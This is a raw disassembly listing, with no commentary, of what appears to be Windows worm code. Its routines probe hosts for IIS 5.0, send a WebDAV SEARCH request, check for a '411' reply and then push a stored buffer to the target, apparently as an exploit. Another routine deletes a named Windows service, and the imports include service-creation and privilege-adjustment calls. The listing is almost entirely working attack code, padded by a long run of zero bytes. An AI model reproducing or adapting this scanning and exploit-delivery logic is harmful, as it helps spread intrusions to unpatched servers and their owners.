offset dword_406470 push esi call ebx ; dword_404168 cmp eax, 0FFFFFFFFh jz short loc_402C0E push 0 lea ecx, [esp+424h+var_3FC] push 400h push ecx push esi call edi ; dword_40416C loc_402C0E: ; CODE XREF: sub_402B20+7Bj ; sub_402B20+92j ... push esi call dword_404170 ; closesocket pop edi pop ebx loc_402C17: ; CODE XREF: sub_402B20+30j ; sub_402B20+62j test ebp, ebp jz short loc_402C24 push ebp call sub_402FC6 add esp, 4 loc_402C24: ; CODE XREF: sub_402B20+F9j push offset dword_4075A4 call dword_404064 ; InterlockedDecrement pop esi xor eax, eax pop ebp add esp, 414h retn 4 sub_402B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402C40 proc near ; DATA XREF: sub_401470+E1o var_5AC = word ptr -5ACh var_5A8 = dword ptr -5A8h var_5A4 = dword ptr -5A4h var_594 = byte ptr -594h var_574 = byte ptr -574h var_2B8 = byte ptr -2B8h arg_0 = dword ptr 4 sub esp, 5ACh push ebx push ebp push esi push edi push offset dword_4075A4 call dword_404088 ; InterlockedIncrement mov dword ptr [esp+5BCh+var_5AC], 0BB8h mov eax, [esp+5BCh+arg_0] mov esi, [eax] push esi call sub_402AB0 add esp, 4 test eax, eax jz loc_402EC5 push 50h mov word ptr [esp+5C0h+var_5A8], 2 mov [esp+5C0h+var_5A4], esi call dword_404174 ; ntohs push 0 push 1 push 2 mov word ptr [esp+5C8h+var_5A8+2], ax call dword_404150 ; socket mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_402EC5 lea ecx, [esp+5BCh+var_5A8] push 10h push ecx push ebp call dword_404154 ; connect cmp eax, 0FFFFFFFFh jz loc_402EBE push esi call dword_40415C ; inet_ntoa mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+5B8h+var_594] repne scasb not ecx sub edi, ecx push offset aConnectionKeep ; "\r\nConnection: Keep-Alive\r\n\r\n" mov eax, ecx mov esi, edi mov edi, edx lea edx, [esp+5BCh+var_574] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea ecx, [esp+5BCh+var_594] push ecx push offset aGetHttp1_1Acce ; "GET / HTTP/1.1\r\nAccept: image/gif, imag"... push offset aSSS ; "%s%s%s" push edx call dword_40411C ; sprintf lea edi, [esp+5CCh+var_574] or ecx, 0FFFFFFFFh xor eax, eax add esp, 14h repne scasb not ecx dec ecx push 0 lea eax, [esp+5BCh+var_574] push ecx push eax push ebp call dword_404168 ; send cmp eax, 0FFFFFFFFh jz loc_402EBE mov ebx, dword_404164 lea ecx, [esp+5B8h+var_5A8] push 4 push ecx push 1006h push 0FFFFh push ebp call ebx ; dword_404164 push 0 lea edx, [esp+5BCh+var_2B8] push 2BBh push edx push ebp call dword_40416C ; recv cmp eax, 0FFFFFFFFh jz loc_402EBE test eax, eax jz loc_402EBE mov [esp+eax+5B8h+var_2B8], 0 lea eax, [esp+5B8h+var_2B8] push offset aServerMicrosof ; "Server: Microsoft-IIS/5.0" push eax call dword_404100 ; strstr add esp, 8 test eax, eax jz loc_402EBE push ebp call dword_404170 ; closesocket mov esi, dword_4040C8 push 64h call esi ; dword_4040C8 push 0 push 1 push 2 call dword_404150 ; socket mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_402EC5 lea ecx, [esp+5BCh+var_5A8] push 10h push ecx push ebp call dword_404154 ; connect cmp eax, 0FFFFFFFFh jz loc_402EBE lea edx, [esp+5B8h+var_594] lea eax, [esp+5B8h+var_574] push edx push offset aSearchHttp1_1H ; "SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n" push eax call dword_40411C ; sprintf lea edi, [esp+5C4h+var_574] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5C0h+var_574] push ecx push ebp call dword_404168 ; send cmp eax, 0FFFFFFFFh jz loc_402EBE lea edx, [esp+5B8h+var_5A8] push 4 push edx push 1006h push 0FFFFh push ebp call ebx ; dword_404164 push 0 lea eax, [esp+5BCh+var_2B8] push 63h push eax push ebp call dword_40416C ; recv cmp eax, 0FFFFFFFFh jz short loc_402EBE test eax, eax jz short loc_402EBE lea ecx, [esp+5B8h+var_2B8] push offset a411 ; "411" push ecx mov [esp+eax+5C0h+var_2B8], 0 call dword_404100 ; strstr add esp, 8 test eax, eax jz short loc_402EBE push ebp call dword_404170 ; closesocket push 64h call esi ; dword_4040C8 push 0 push 1 push 2 call dword_404150 ; socket mov ebp, eax cmp ebp, 0FFFFFFFFh jz short loc_402EC5 lea edx, [esp+5BCh+var_5A8] push 10h push edx push ebp call dword_404154 ; connect cmp eax, 0FFFFFFFFh jz short loc_402EBE push 64h call esi ; dword_4040C8 mov edx, ds:dword_4075A0 or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb not ecx dec ecx push ecx push edx push ebp call sub_402F50 add esp, 0Ch push 0BB8h call esi ; dword_4040C8 loc_402EBE: ; CODE XREF: sub_402C40+77j ; sub_402C40+E9j ... push ebp call dword_404170 ; closesocket loc_402EC5: ; CODE XREF: sub_402C40+31j ; sub_402C40+60j ... mov eax, [esp+5BCh+arg_0] pop edi pop esi pop ebp test eax, eax pop ebx jz short loc_402EDD push eax call sub_402FC6 add esp, 4 loc_402EDD: ; CODE XREF: sub_402C40+292j push offset dword_4075A4 call dword_404064 ; InterlockedDecrement xor eax, eax add esp, 5ACh retn 4 sub_402C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402F00 proc near ; CODE XREF: sub_401280+3Cp ; sub_401280+46p arg_0 = dword ptr 4 push esi push edi push 0F003Fh push 0 push 0 call dword_40402C ; OpenSCManagerA mov edi, eax test edi, edi jz short loc_402F4B mov eax, [esp+8+arg_0] push 0F01FFh push eax push edi call dword_404038 ; OpenServiceA mov esi, eax test esi, esi jnz short loc_402F38 push edi call dword_404034 ; CloseServiceHandle pop edi pop esi retn ; --------------------------------------------------------------------------- loc_402F38: ; CODE XREF: sub_402F00+2Cj push esi call dword_40400C ; DeleteService push esi mov esi, dword_404034 call esi ; dword_404034 push edi call esi ; dword_404034 loc_402F4B: ; CODE XREF: sub_402F00+15j pop edi pop esi retn sub_402F00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402F50 proc near ; CODE XREF: sub_402C40+26Fp var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_8] xor ebx, ebx cmp edi, ebx mov [esp+14h+var_4], edi mov [esp+14h+arg_8], ebx jle short loc_402FA3 mov ebp, [esp+14h+arg_4] loc_402F6B: ; CODE XREF: sub_402F50+51j mov ecx, [esp+14h+arg_0] push 0 lea eax, [ebx+ebp] push edi push eax push ecx call dword_404168 ; send mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_402FAD test esi, esi jnz short loc_402F9B cmp [esp+14h+arg_8], 64h jge short loc_402FAD push 5 call dword_4040C8 ; Sleep inc [esp+14h+arg_8] loc_402F9B: ; CODE XREF: sub_402F50+36j sub edi, esi add ebx, esi test edi, edi jg short loc_402F6B loc_402FA3: ; CODE XREF: sub_402F50+15j mov eax, [esp+14h+var_4] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_402FAD: ; CODE XREF: sub_402F50+32j ; sub_402F50+3Dj pop edi pop esi pop ebp xor eax, eax pop ebx pop ecx retn sub_402F50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402FC0 proc near ; CODE XREF: sub_401280+8Bp ; sub_401470+9Bp ... jmp dword_404108 sub_402FC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402FC6 proc near ; CODE XREF: sub_401C80+1EAp ; sub_402B20+FCp ... jmp dword_404138 sub_402FC6 endp ; --------------------------------------------------------------------------- loc_402FCC: ; CODE XREF: seg001:004091B8j push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4041A8 push offset loc_403100 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push esi push edi mov [ebp-18h], esp and dword ptr [ebp-4], 0 push 1 call dword_404128 ; __set_app_type pop ecx or ds:dword_4076BC, 0FFFFFFFFh or ds:dword_4076C0, 0FFFFFFFFh call dword_404124 ; __p__fmode mov ecx, ds:dword_4076B8 mov [eax], ecx call dword_404118 ; __p__commode mov ecx, ds:dword_4076B4 mov [eax], ecx mov eax, dword_404114 mov eax, [eax] mov ds:dword_4076C4, eax call nullsub_1 cmp dword_406414, 0 jnz short loc_40304F push offset sub_4030FA call dword_404110 ; __setusermatherr pop ecx loc_40304F: ; CODE XREF: seg000:00403041j call sub_4030E8 push offset dword_40500C push offset dword_405008 call sub_4030E2 ; _initterm mov eax, ds:dword_4076B0 mov [ebp-28h], eax lea eax, [ebp-28h] push eax push ds:dword_4076AC lea eax, [ebp-20h] push eax lea eax, [ebp-2Ch] push eax lea eax, [ebp-1Ch] push eax call dword_4040F8 ; __getmainargs push offset dword_405004 push offset dword_405000 call sub_4030E2 ; _initterm call dword_40410C ; __p___initenv mov ecx, [ebp-20h] mov [eax], ecx push dword ptr [ebp-20h] push dword ptr [ebp-2Ch] push dword ptr [ebp-1Ch] call sub_4011C0 add esp, 30h mov [ebp-24h], eax push eax call dword_4040F0 ; exit mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-30h], ecx push eax push ecx call sub_4030DC ; _XcptFilter pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-30h] call dword_404134 ; _exit ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030DC proc near ; CODE XREF: seg000:004030C8p jmp dword_4040F4 sub_4030DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030E2 proc near ; CODE XREF: seg000:0040305Ep ; seg000:00403091p jmp dword_4040FC sub_4030E2 endp ; =============== S U B R O U T I N E ======================================= sub_4030E8 proc near ; CODE XREF: seg000:loc_40304Fp push 30000h push 10000h call sub_403106 ; _controlfp pop ecx pop ecx retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= sub_4030FA proc near ; DATA XREF: seg000:00403043o xor eax, eax retn sub_4030FA endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h loc_403100: ; DATA XREF: seg000:00402FD6o jmp dword_40412C ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403106 proc near ; CODE XREF: sub_4030E8+Ap jmp dword_404130 sub_403106 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403110 proc near ; CODE XREF: sub_4016E0+10p jmp dword_40419C sub_403110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403116 proc near ; CODE XREF: sub_402AB0+53p jmp dword_404058 sub_403116 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40311C proc near ; CODE XREF: sub_402AB0+24p ; sub_402AB0+62p jmp dword_404050 sub_40311C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403122 proc near ; CODE XREF: sub_402AB0+2p jmp dword_404054 sub_403122 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403128 proc near ; CODE XREF: sub_401006+BAp jmp dword_4040DC sub_403128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40312E proc near ; CODE XREF: sub_401006+76p jmp dword_4040D8 sub_40312E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_403134 proc near ; CODE XREF: sub_401006+5Cp jmp dword_4040D4 sub_403134 endp ; --------------------------------------------------------------------------- align 4 dd 96h dup(0) db 0 dword_403395 dd 0 align 4 dd 11h dup(0) db 2 dup(0) dword_4033E2 dd 0 align 4 db 0 dword_4033E9 dd 0 align 10h dd 0 db 2 dup(0) dword_4033F6 dd 0 align 4 dd 0Bh dup(0) db 0 byte_403429 db 0 ; DATA XREF: seg002:0040B920r ; seg002:loc_40B93Ar ... byte_40342A db 0 ; DATA XREF: seg002:0040B96Cr ; seg002:loc_40B987r ... byte_40342B db 0 ; DATA XREF: seg002:0040B8CAr ; seg002:0040B8D3r ... db 3 dup(0) byte_40342F db 0 ; DATA XREF: seg002:0040B8BCr ; seg002:0040B8DDr ... byte_403430 db 0 ; DATA XREF: seg002:0040BB02r ; sub_40C1D1+73w ... dword_403431 dd 0 ; sub_40A364+BEr ... dword_403435 dd 0 align 4 dword_40343C dd 0 ; seg002:loc_40BD50r ... dd 3Fh dup(0) dword_40353C dd 0 ; sub_40A364:loc_40A391r ... dword_403540 dd 0 dword_403544 dd 0 ; sub_40A364+13r dword_403548 dd 0 ; sub_40A7C7+3r ... dd 0 dword_403550 dd 0 ; seg002:0040A4DEr ... align 8 dword_403558 dd 0 dword_40355C dd 5 dup(0) dword_403570 dd 0 dd 8 dup(0) dword_403594 dd 0 dword_403598 dd 0Ch dup(0) dword_4035C8 dd 0 align 10h dword_4035D0 dd 0 dword_4035D4 dd 0 ; seg002:loc_40ABFDr dword_4035D8 dd 0 ; seg002:0040AC1Fr dword_4035DC dd 0 ; seg002:0040AC30r dword_4035E0 dd 0 dword_4035E4 dd 0 ; seg002:0040ABD7r dword_4035E8 dd 0 ; seg002:0040AC0Er dd 3 dup(0) dword_4035F8 dd 0 dd 12h dup(0) db 2 dup(0) dword_403646 dd 0 db 0 db 0 db 2 dup(0) dword_40364E dd 0 align 4 dd 0CAh dup(0) db 2 dup(0) dword_40397E dd 0 ; sub_40A364+DAw ... dword_403982 dd 0 ; seg002:0040BC99r ... dword_403986 dd 0 ; seg002:0040BD87r ... dword_40398A dd 0 ; seg002:0040BB5Fw ... dword_40398E dd 0 ; sub_40B595+6w ... dword_403992 dd 0 dword_403996 dd 0 dword_40399A dd 0 ; seg002:0040BCF8r dword_40399E dd 0 ; seg002:0040B887r dword_4039A2 dd 0 ; seg002:0040BD6Fr dword_4039A6 dd 0 ; sub_40B4DF+30w ... dword_4039AA dd 0 ; sub_40B4DF+36w ... unk_4039AE db 0 ; DATA XREF: sub_40BDA5+2r ; sub_40BF5E+4Bw ... db 0 db 2 dup(0) dword_4039B2 dd 0 dword_4039B6 dd 0 dword_4039BA dd 0 dword_4039BE dd 0 dword_4039C2 dd 0 dword_4039C6 dd 0 dword_4039CA dd 0 ; sub_40BF5E-15r db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 dword_404000 dd 77E36F61h ; resolved to->ADVAPI32.ChangeServiceConfig2Adword_404004 dd 77E377F9h ; resolved to->ADVAPI32.QueryServiceConfig2Adword_404008 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceAdword_40400C dd 77E37311h ; resolved to->ADVAPI32.DeleteServicedword_404010 dd 77DF0953h ; resolved to->ADVAPI32.RegisterServiceCtrlHandlerAdword_404014 dd 77DEB193h ; resolved to->ADVAPI32.SetServiceStatusdword_404018 dd 77E37D39h ; resolved to->ADVAPI32.StartServiceCtrlDispatcherAdword_40401C dd 77DE5EB8h ; resolved to->ADVAPI32.QueryServiceStatus ; sub_402540+17Ar ... dword_404020 dd 77DF5462h ; resolved to->ADVAPI32.QueryServiceConfigAdword_404024 dd 77E36CC9h ; resolved to->ADVAPI32.ChangeServiceConfigAdword_404028 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivilegesdword_40402C dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_402540+11r ... dword_404030 dd 77E37071h ; resolved to->ADVAPI32.CreateServiceAdword_404034 dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4023E0+11Dr ... dword_404038 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_402540+60r ... dword_40403C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_404040 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_404044 dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessTokendword_404048 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA align 10h dword_404050 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandledword_404054 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFiledword_404058 dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho align 10h dword_404060 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_404064 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_402C40+2A2r dword_404068 dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_40406C dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFreedword_404070 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcessdword_404074 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_402A00+77r dword_404078 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_402A00+8Br dword_40407C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_404080 dd 